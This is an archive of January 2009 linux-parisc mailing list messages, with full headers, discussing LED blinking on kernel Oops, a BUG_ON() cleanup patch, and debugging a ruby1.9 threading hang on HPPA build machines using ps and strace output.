Original-Received: (qmail invoked by alias); 06 Jan 2009 15:40:12 -0000
Original-Received: from mnhm-590f6407.pool.einsundeins.de (EHLO halden.box) [89.15.100.7]
  by mail.gmx.net (mp022) with SMTP; 06 Jan 2009 16:40:12 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/dXJhB6+/d1OH0K8TFTOPnFcsDkt+M3PDhZvMsbN
	J3Dz0l423t6BWb
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <7d01f9f00901060728w2001ed38v15c305d1472cb66@mail.gmail.com>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.55
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1155
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1155>

Thibaut VARENE wrote:
> On Tue, Jan 6, 2009 at 2:23 PM, Helge Deller <deller@gmx.de> wrote:
>> - blink loadavg LEDs only (not all LEDs) twice a second on Oops
> 
> Just out of curiosity, why wouldn't you want to have all leds blinking
> on something as serious as an Oops? I kind of liked to clearly see
> when something went wrong...

Yeah, valid question.

While doing some bugfixing on the HIL drivers I noticed that suddenly
all LEDs were lit on the 715/64. It was strange, as I still was using
the machine and it was running fine.

The reason why the LEDs were lit was, that oops_in_progress was set due
a bug in my code. In dmesg I saw:
BUG: rwlock cpu recursion on CPU#0, modprobe/1098, 00a1599c
Backtrace:
 [<102a9c78>] _raw_write_lock+0x54/0x8c
 ....

So, whenever the kernel hits such a WARNING(), all LEDs will blink.
Now after my patch, the 4 LEDs on the left side blink (they are currently
not used anyway), while Heartbeat, disk-IO and LAN in/out still work
as usual. So, you will notice the 4 LEDs at once as well, but in addition
you still have the possibility to see if LAN goes in/out (e.g. if you ping
the machine) or if the heartbeat still works (and so your machine should 
still be reachable).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: blink loadavg LEDs on Oops
Date: Tue, 06 Jan 2009 16:44:14 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <49637C4E.20107@gmx.de>
References: <49635B41.5060205@gmx.de> <7d01f9f00901060728w2001ed38v15c305d1472cb66@mail.gmail.com> <49637B5E.7010103@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231256662 8811 80.91.229.12 (6 Jan 2009 15:44:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 15:44:22 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 16:45:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKE7Y-0007XT-79
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 16:45:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750848AbZAFPoO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 10:44:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750958AbZAFPoO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 10:44:14 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:42047 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750848AbZAFPoO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 10:44:14 -0500
Original-Received: (qmail invoked by alias); 06 Jan 2009 15:44:11 -0000
Original-Received: from mnhm-590f6407.pool.einsundeins.de (EHLO halden.box) [89.15.100.7]
  by mail.gmx.net (mp009) with SMTP; 06 Jan 2009 16:44:11 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19Bls9D5hxByvCsjgxaghq8glcjZcD6GTki5Dkh7N
	SBjWgb59sTzl0S
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <49637B5E.7010103@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1156>

Helge Deller wrote:
> Thibaut VARENE wrote:
>> On Tue, Jan 6, 2009 at 2:23 PM, Helge Deller <deller@gmx.de> wrote:
>>> - blink loadavg LEDs only (not all LEDs) twice a second on Oops
>> Just out of curiosity, why wouldn't you want to have all leds blinking
>> on something as serious as an Oops? I kind of liked to clearly see
>> when something went wrong...
> 
> Yeah, valid question.
> 
> While doing some bugfixing on the HIL drivers I noticed that suddenly
> all LEDs were lit on the 715/64. It was strange, as I still was using...

I meant: The LEDs were blinking twice per second, not full-time on.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: BUG_ON() cleanup
Date: Tue, 06 Jan 2009 17:09:55 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <49638253.6000807@gmx.de>
References: <4963470D.1030101@gmx.de> <1231255233.7090.5.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231258214 14661 80.91.229.12 (6 Jan 2009 16:10:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 16:10:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 17:11:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKEWQ-0000Q2-UI
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 17:11:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751009AbZAFQJ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 11:09:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751135AbZAFQJ4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 11:09:56 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:59604 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751009AbZAFQJz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 11:09:55 -0500
Original-Received: (qmail invoked by alias); 06 Jan 2009 16:09:54 -0000
Original-Received: from mnhm-590f6407.pool.einsundeins.de (EHLO halden.box) [89.15.100.7]
  by mail.gmx.net (mp068) with SMTP; 06 Jan 2009 17:09:54 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18d1Pdn2YMdQCVpDgaankBtp0f0M2ki3RLbyvQ4lx
	wq9a8VBbbCr3zI
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <1231255233.7090.5.camel@localhost.localdomain>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.61
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1157>

James Bottomley wrote:
> On Tue, 2009-01-06 at 12:57 +0100, Helge Deller wrote:
>> - convert a few "if (xx) BUG();" to BUG_ON(xx)
> 
> This is fine
> 
>> - remove a few printk()s, as we get a backtrace with BUG_ON() anyway
> 
> This is less helpful.  Each of the printks explains why the bug
> triggers.  In theory you can work this out from the BUG_ON line number,
> but *only* if your source files match those of the reporter, which isn't
> the case in an annoyingly large number of bug reports ... speaking as
> someone who seems to get to diagnose large numbers of bugs, it makes my
> life harder.

I fully understand your point.

Regarding arch/parisc/kernel/pci-dma.c:
- each of the pa11_dma_map_* functions where I removed the printks only had
  one BUG() anyway. Should be easy to find it in backtraces.
- a few of the pa11_dma_map_* functions have printks, the others don't. I just
  made it consistent.

Regarding arch/parisc/mm/init.c:
- setup_bootmem() is a huge function. I agree that keeping this printk would
  make sense.

So, would you be OK with the patch if I drop the init.c change and keep the
pci-dma.c changes?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and lenny (ruby1.9 build problems)
Date: Tue, 06 Jan 2009 17:21:59 +0100
Lines: 119
Approved: news@gmane.org
Message-ID: <49638527.7050800@gmx.de>
References: <20081215193025.GP20002@anguilla.noreply.org> <20081215200749.GA30169@colo.lackof.org> <4949787B.9070003@gmx.de> <20081217222540.GB13477@colo.lackof.org> <4950B3AD.1020200@gmx.de> <20081223102356.GF19873@anguilla.noreply.org> <4950C0CA.1040804@gmx.de> <20090105180823.GC877@colo.lackof.org> <20090105190209.GI932@anguilla.noreply.org> <49629BDA.4030904@gmx.de> <20090106041327.GA22965@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231258947 17440 80.91.229.12 (6 Jan 2009 16:22:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 16:22:27 +0000 (UTC)
Cc: Matt Taggart <taggart@debian.org>,
	Christoph Martin <martin@uni-mainz.de>,
	debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	team@security.debian.org, debian-admin@lists.debian.org,
	lucas@lucas-nussbaum.net,
	linux-parisc <linux-parisc@vger.kernel.org>
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 17:23:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKEiD-0004o6-SW
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 17:23:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751010AbZAFQWH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 11:22:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750941AbZAFQWG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 11:22:06 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:58018 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750917AbZAFQWD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 11:22:03 -0500
Original-Received: (qmail invoked by alias); 06 Jan 2009 16:22:01 -0000
Original-Received: from mnhm-590f6407.pool.einsundeins.de (EHLO halden.box) [89.15.100.7]
  by mail.gmx.net (mp014) with SMTP; 06 Jan 2009 17:22:01 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18w6YYK3GkwJXBvmZLIDlrIZ1sLwHUFMz2yuRrY4x
	7w1fsPvqLNEy0w
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20090106041327.GA22965@colo.lackof.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1158 gmane.linux.debian.ports.hppa:5594 gmane.linux.debian.devel.release:28318
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1158>

dann frazier wrote:
> On Tue, Jan 06, 2009 at 12:46:34AM +0100, Helge Deller wrote:
>> CC: linux-paric mailing list
>>
>> Peter Palfrader wrote:
>>> On Mon, 05 Jan 2009, dann frazier wrote:
>>>
>>>> On Tue, Dec 23, 2008 at 11:43:22AM +0100, Helge Deller wrote:
>>>>> Peter Palfrader wrote:
>>>>>> Helge Deller schrieb am Dienstag, dem 23. Dezember 2008:
>>>>>>
>>>>>>> Patch in parisc git tree:
>>>>>>> http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdiff;h=378fe7c4cc619b561409206605c723c05358edac;hp=6c4dfa8f8bcf032137aacb3640d7dd9d75b2b607
>>>>>> So just using an SMP kernel should also work?
>>>>> Probably yes, since some other developers tried initially to reproduce
>>>>> the problem, but they couldn't (as it seems they were running on newer
>>>>> SMP machines). But I don't have a SMP server which is why I can't test
>>>>> myself...
>>>> Unfortunately, it looks like we're still having problems on the
>>>> buildds w/ 2.6.26 SMP kernels:
>>>>   http://buildd.debian.org/build.php?&pkg=ruby1.9&ver=1.9.0.2-9&arch=hppa&file=log
>>>>
>>>> The build doesn't take the system down, but does still hang
>>>> indefinitely while running miniruby - though the hang location varies.
>>>>
>>>> I'll prepare a UP kernel for one of the buildds w/ the
>>>> up-optimization-removal patch just to see if it improves things. I
>>>> don't see why it would, other than it seemed to solve the problem on
>>>> my test box when I first tested the patch.
>> It seemed to fix the problem for me as well.
> 
> fyi, I tested w/ a 2.6.26 32-bit UP kernel w/ the
> up-optimization-removal patch, and received another hang:
>  http://buildd.debian.org/fetch.cgi?pkg=ruby1.9;ver=1.9.0.2-9;arch=hppa;stamp=1231212073

Yes, that's the same I can reproduce here as well.
It's AFAICS not the ProtectionID trap kernel bug any longer, which is good :-)

>> In principle looking at the logs it looks more like a userspace bugs
>> due to threading functions.
>> Anyway, I'll try to reproduce it here as well.
>> FWIW, I had some additional irq locking code in load_context(), maybe 
>> this helps...?
> 
> I'd be happy to test it if you can point me to a changeset.

Sorry, nothing yet.
As it does not seem to be related to the Protection ID trap, they are probably
useless anyway.
Overall, this is what I see when running dpkg-buildpackage for ruby1.9:
test_load.rb .
test_exception.rb ................................
test_thread.rb .........................
<here it hangs>

root@c3000:~/cvs/ruby/ruby1.9-1.9.0.2# ps -efww
root     15817 15815  0 13:36 pts/0    00:00:00 /usr/bin/perl /usr/bin/dpkg-buildpackage
root     25673 32222  0 14:56 pts/0    00:00:00 /mnt/sdb4/cvs/ruby/ruby1.9-1.9.0.2/miniruby -I/mnt/sdb4/cvs/ruby/ruby1.9-1.9.0.2/lib -I/mnt/sdb4/cvs/ruby/ruby1.9-1.9.0.2/.ext/common -I./- -r/mnt/sdb4/cvs/ruby/ruby1.9-1.9.0.2/ext/purelib.rb -W0 bootstraptest.tmp.rb
root     25676 25673  0 14:56 pts/0    00:00:00 [miniruby] <defunct>
root     25892  2014  0 17:16 pts/1    00:00:00 ps -efwww
root     29832 15817  0 14:46 pts/0    00:00:00 /usr/bin/make -f debian/rules binary
root     32188 29832  0 14:55 pts/0    00:00:00 make test
root     32222 32188  0 14:55 pts/0    00:00:00 ./miniruby -I./lib -I.ext/common -I./- -r./ext/purelib.rb ./bootstraptest/runner.rb --ruby=./miniruby -I./lib -I.ext/common -I./- -r./ext/purelib.rb  -q
root     32223 32222  0 14:55 pts/0    00:00:00 ./miniruby -I./lib -I.ext/common -I./- -r./ext/purelib.rb ./bootstraptest/runner.rb --ruby=./miniruby -I./lib -I.ext/common -I./- -r./ext/purelib.rb  -q
root     32224 32223  0 14:55 pts/0    00:00:00 ./miniruby -I./lib -I.ext/common -I./- -r./ext/purelib.rb ./bootstraptest/runner.rb --ruby=./miniruby -I./lib -I.ext/common -I./- -r./ext/purelib.rb  -q

root@c3000:~/cvs/ruby/ruby1.9-1.9.0.2# strace -p 32222
Process 32222 attached - interrupt to quit
_newselect(7, [6], NULL, NULL, NULL^C <unfinished ...>
Process 32222 detached

root@c3000:~/cvs/ruby/ruby1.9-1.9.0.2# strace -p 32223
Process 32223 attached - interrupt to quit
restart_syscall(<... resuming interrupted call ...>) = 0
getppid()                               = 32222
poll([{fd=3, events=POLLIN}], 1, 2000)  = 0 (Timeout)
getppid()                               = 32222
poll([{fd=3, events=POLLIN}], 1, 2000^C <unfinished ...>
Process 32223 detached

root@c3000:~/cvs/ruby/ruby1.9-1.9.0.2# strace -p 32224
Process 32224 attached - interrupt to quit
nanosleep({0, 10000000}, {0, 7191145})  = 0
nanosleep({0, 10000000}, {0, 7191145})  = 0
nanosleep({0, 10000000}, {0, 7191145})  = 0
nanosleep({0, 10000000}, {0, 7191145})  = 0
...

So, it's probably somehow a threading-related problem.
I'm not sure yet, why the miniruby PID 25676 is defunct.

Needs quite some debugging, but we still have threading problems on hppa. 

>>> Yeah, penalosa got stuck again today, this was on the console:
>> Does panalosa has the patched kernel (same one as the one on peri) ?
> 
> Both machines were running an unpatched SMP 2.6.26 until I upgraded
> penalosa for the test I refer to above. The thinking being that -
> though these machines are single CPU - the SMP version should avoid
> the UP optimization code.
> 
>> The protection ID traps shouldn't happen any longer, and from the buildd
>> logs on peri it does seem like that the ProtID traps don't happen there.
> 
> There were no protection trap messages in penalosa's dmesg after the
> above hang. In fact, it contains nothing other than bootup messages.

Good, same here.

> Thanks for all your help so far - its really appreciated.

Thanks!

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: BUG_ON() cleanup
Date: Tue, 6 Jan 2009 11:49:50 -0500
Organization: wh0rd.org
Lines: 53
Approved: news@gmane.org
Message-ID: <200901061149.52015.vapier@gentoo.org>
References: <4963470D.1030101@gmx.de> <1231255233.7090.5.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart4317700.lEa5kqJW2W";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231260612 23937 80.91.229.12 (6 Jan 2009 16:50:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2009 16:50:12 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 06 17:51:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKF97-0006t1-GK
	for glpp-linux-parisc@gmane.org; Tue, 06 Jan 2009 17:51:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751017AbZAFQtz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Jan 2009 11:49:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750906AbZAFQtz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Jan 2009 11:49:55 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:56669 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750746AbZAFQty (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Jan 2009 11:49:54 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id C75CF65DBF;
	Tue,  6 Jan 2009 16:49:52 +0000 (UTC)
User-Agent: KMail/1.10.3 (Linux/2.6.28; KDE/4.1.3; x86_64; ; )
In-Reply-To: <1231255233.7090.5.camel@localhost.localdomain>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1159
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1159>

--nextPart4317700.lEa5kqJW2W
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Tuesday 06 January 2009 10:20:33 James Bottomley wrote:
> On Tue, 2009-01-06 at 12:57 +0100, Helge Deller wrote:
> > - convert a few "if (xx) BUG();" to BUG_ON(xx)
>
> This is fine
>
> > - remove a few printk()s, as we get a backtrace with BUG_ON() anyway
>
> This is less helpful.  Each of the printks explains why the bug
> triggers.  In theory you can work this out from the BUG_ON line number,
> but *only* if your source files match those of the reporter, which isn't
> the case in an annoyingly large number of bug reports ... speaking as
> someone who seems to get to diagnose large numbers of bugs, it makes my
> life harder.

i think those comments go beyond parisc.  perhaps we should add a=20
BUG_ON_ANNOTATED() that includes another printk ?
=2Dmike

--nextPart4317700.lEa5kqJW2W
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.9 (GNU/Linux)

iQIcBAABAgAGBQJJY4uvAAoJEEFjO5/oN/WByS4QAIGklW0qV8qmjZ3Y7wvU3YEe
/6MLHCImOecjKwJSZioNIGSiC7X4YAfgXsSmj+MU0/t0qhM+eOFoLbit6lPfr83c
yWTxCeSLJJjx5pXb15YboUxLbWbnF3AKKCstGDU73/706eZM4H64nT48oawwjTa5
FtyZxyiLPKcyo/8vHcp63X4t4yMlFCirwtvI4jPtTvs/spz4aBSJ/B9JRTz5ARm5
uWnWk3Cq3GR/HK8vhbcyTvvqvYGK52HNr+ZHfdN+amwTFTBFNXbbCe2UfiMlEn9W
wDWI1ZY5fEB/I1JBdZ9IVNVEQC2XW67IkzM/KLaqqbdTx3TOV0pkmJO2Vf8amnno
cqDApr89HrHicGUQwUpbqUxOtA/Y6qBUju6OyG5ZyuMXIhUY4aW90L2KMO/+j6lW
ePVPUw98mJbj4whlxPdvP62U1j8CgNnEh6HcfVouEjghcH5UvqmGAjn9BsExbIjA
QpvSnyinZUzLxCwaAUQLjowY38N9F/6YhXLxr4NVRYvZELw7c1s7Ycv11sjspB7V
NUjzgCeYYE0iiDRDMwAb5vQMPCgEOLrHKCi2NJTQyC99rrojnNBq7Up3vFi/z8rX
BljjAQlFELEn4v1DaJeuLHGn093Cr+tadinXmx30VsKYv45cD6+dNU9vPifH2MN6
XkZ4WScz627v1/fdZiGt
=dHDY
-----END PGP SIGNATURE-----

--nextPart4317700.lEa5kqJW2W--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: blink loadavg LEDs on Oops
Date: Wed, 7 Jan 2009 12:38:39 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <7d01f9f00901070338m4da2f915m707df8588a134dca@mail.gmail.com>
References: <49635B41.5060205@gmx.de>
	 <7d01f9f00901060728w2001ed38v15c305d1472cb66@mail.gmail.com>
	 <49637B5E.7010103@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231328332 3923 80.91.229.12 (7 Jan 2009 11:38:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 7 Jan 2009 11:38:52 +0000 (UTC)
Cc: "Kyle McMartin" <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 07 12:40:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKWlT-0003On-Qc
	for glpp-linux-parisc@gmane.org; Wed, 07 Jan 2009 12:40:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752007AbZAGLil (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 7 Jan 2009 06:38:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752396AbZAGLil
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 7 Jan 2009 06:38:41 -0500
Original-Received: from yw-out-2324.google.com ([74.125.46.30]:7709 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751557AbZAGLik (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 7 Jan 2009 06:38:40 -0500
Original-Received: by yw-out-2324.google.com with SMTP id 9so2634103ywe.1
        for <linux-parisc@vger.kernel.org>; Wed, 07 Jan 2009 03:38:40 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=C4xkc1pQQHbFZIypJjC0VTaAwafntaBQHQYsA/CRXEs=;
        b=T/eAiSW21715/JUTXwqSVgPXOI/vYkC6kSO0U1wT7hcHvTnomSas8qprSV4WCTxnLV
         Kj0+DepfTM0A8z86JTWT8MdCV6pYCx08oiaeWUQO9tjThd8Cv36RVxzD4s8QG5IWvAnA
         ZuC9SvasSAEO5BHEneK+P/Tlc4Ul6ryNawqVA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=X+6weMvLNPgFo52xDKKidzAeU7eJMUlOKG/zN09eAlNR5bCds+vXpjf84g8q9NdRqY
         jyViK5agcmrbAA8JyqxPgSzfi1zzp3UvpEum1JkP9Vf458ejP9C6Sd7eXvPNOZJRnh+p
         XjqWUHzh+VXU7MzUNUWNq/iSlFT8BsfYH/BhU=
Original-Received: by 10.90.31.4 with SMTP id e4mr10777681age.113.1231328319805;
        Wed, 07 Jan 2009 03:38:39 -0800 (PST)
Original-Received: by 10.90.51.10 with HTTP; Wed, 7 Jan 2009 03:38:39 -0800 (PST)
In-Reply-To: <49637B5E.7010103@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: c74c36188c77ac21
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1160
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1160>

On Tue, Jan 6, 2009 at 4:40 PM, Helge Deller <deller@gmx.de> wrote:

> Yeah, valid question.
....
>
> So, whenever the kernel hits such a WARNING(), all LEDs will blink.
> Now after my patch, the 4 LEDs on the left side blink (they are currently
